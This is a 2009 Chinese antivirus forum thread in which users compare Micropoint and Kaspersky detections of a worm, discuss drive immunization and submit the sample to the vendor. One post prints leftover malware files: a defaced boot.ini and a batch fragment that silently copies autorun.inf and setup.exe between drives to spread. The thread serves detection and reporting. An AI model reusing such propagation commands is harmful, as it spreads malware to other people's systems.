微点交流论坛
» 游客:  注册 | 登录 | 帮助

 微点交流论坛 » 反病毒 » 卡巴报特权提升，微点报蠕虫  

 17  1/2  1  2  > 
作者:
标题: 卡巴报特权提升，微点报蠕虫
keyoushi
中级用户




积分 266
发帖 264
注册 2007-2-2
#1  卡巴报特权提升，微点报蠕虫

看图说话，此程序实机运行后微点首先拦截并报蠕虫，删除病毒后卡巴才报其有提升特权修改注册表行为。因为实现免疫过所有硬盘，所以病毒未能生成AUTORUN.INF文件在硬盘根目录下。
1.请看其修改时间：


2.实机运行，微点拦截：



3.卡巴HIPS（互交模式）提示特权提升：




目前尚不确定是否存在衍生物残留，稍后重启观察。

※ ※ ※ 本文纯属【keyoushi】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

用鼠标双击我的钱包，选中一张一百元，然后不停地Ctrl+C,再不停地Ctrl+V...
2009-2-23 22:21
查看资料  发送邮件  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#2  

楼主希望您能将比样本 setup.rar 发送到我们的virus@micropoint.com.cn邮箱我们分析确认一下。
来信请在内容中写上这个帖子的网址，方便我们帮您查收处理，谢谢。

※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※

微点官方认证新浪微博：欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2009-2-23 22:38
查看资料  发短消息   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#3  

我刚测了这个
微点拦截不完全,病毒文件
boot.ini
player.exe
setup.bat
没有被清除
boot loader]
timeout=9999
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来让死一回" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来！" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(1)rdisk(7)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(1)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(1)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(2)rdisk(0)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(2)partition(1)\WINDOWS="病毒世界欢迎你到来" /noexecute=optin /fastdetect

xcopy "d:\autorun.inf" c:\ /H/y >nul 2>nul
xcopy "D:\autorun.inf" e:\ /H/y >nul 2>nul
xcopy "e:\autorun.inf" f:\ /h/y >nul 2>nul
xcopy "f:\autorun.inf" c:\ /H/y >nul 2>nul
xcopy "C:\autorun.inf" i:\ /H/y >nul 2>nul
xcopy "D:\autorun.inf" d:\ /H/y >nul 2>nul
xcopy "e:\autorun.inf" j:\ /h/y >nul 2>nul
xcopy "f:\autorun.inf" c:\ /H/y >nul 2>nul
xcopy "d:\setup.exe" c:\ /H/y >nul 2>nul
xcopy "D:\setup.exe" e:\ /H/y >nul 2>nul
xcopy "e:\setup.exe" f:\ /h/y >nul 2>nul
xcopy "f:\setup.exe" c:\ /H/y >nul 2>nul
xcopy "C:\setup.exe" i:\ /H/y >nul 2>nul
xcopy "D:\setup.exe" d:\ /H/y >nul 2>nul
xcopy "e:\setup.exe" j:\ /h/y >nul 2>nul
xcopy "f:\setup.exe" c:\ /H/y >nul 2>nul

※ ※ ※ 本文纯属【snhao】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2009-2-23 22:39
查看资料  发短消息   编辑帖子
keyoushi
中级用户




积分 266
发帖 264
注册 2007-2-2
#4  

实在不好意思超版，因为微点已经识别，未报未知，所以样本已经删除了。请稍等我用软件恢复一下。

※ ※ ※ 本文纯属【keyoushi】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

用鼠标双击我的钱包，选中一张一百元，然后不停地Ctrl+C,再不停地Ctrl+V...
2009-2-23 22:41
查看资料  发送邮件  发短消息   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#5  

微点为什么不能把所有病毒生成文件都清除呢?

※ ※ ※ 本文纯属【snhao】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2009-2-23 22:41
查看资料  发短消息   编辑帖子
keyoushi
中级用户




积分 266
发帖 264
注册 2007-2-2
#6  



  Quote:
Originally posted by snhao at 2009-2-23 22:41:
微点为什么不能把所有病毒生成文件都清除呢?

LS你没看清楚我的帖子，这个病毒还是挺狠的，所以我事先免疫了所有硬盘，在所有硬盘根目录下建立了AUTO.INF空文件夹，所以病毒未能成功写入。为了保险起见我同时开启了卡巴的互交模式。微点可以拦截的。

※ ※ ※ 本文纯属【keyoushi】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

用鼠标双击我的钱包，选中一张一百元，然后不停地Ctrl+C,再不停地Ctrl+V...
2009-2-23 22:47
查看资料  发送邮件  发短消息   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#7  

我也免疫了啊,你还是先看看你的磁盘目录下有没有什么可疑的东东吧.

[ Last edited by snhao on 2009-2-23 at 22:59 ]

※ ※ ※ 本文纯属【snhao】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2009-2-23 22:50
查看资料  发短消息   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#8  

boot.ini
player.exe
setup.bat
搜索下

※ ※ ※ 本文纯属【snhao】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2009-2-23 22:51
查看资料  发短消息   编辑帖子
keyoushi
中级用户




积分 266
发帖 264
注册 2007-2-2
#9  

样本已经发送到：virus@micropoint.com.cn
解压密码：virus
烦请查收，谢谢！

※ ※ ※ 本文纯属【keyoushi】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

用鼠标双击我的钱包，选中一张一百元，然后不停地Ctrl+C,再不停地Ctrl+V...
2009-2-23 22:56
查看资料  发送邮件  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#10  

多谢，我们分析确认后会给您回复的。

※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※

微点官方认证新浪微博：欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2009-2-23 23:00
查看资料  发短消息   编辑帖子
 17  1/2  1  2  > 



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]

北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号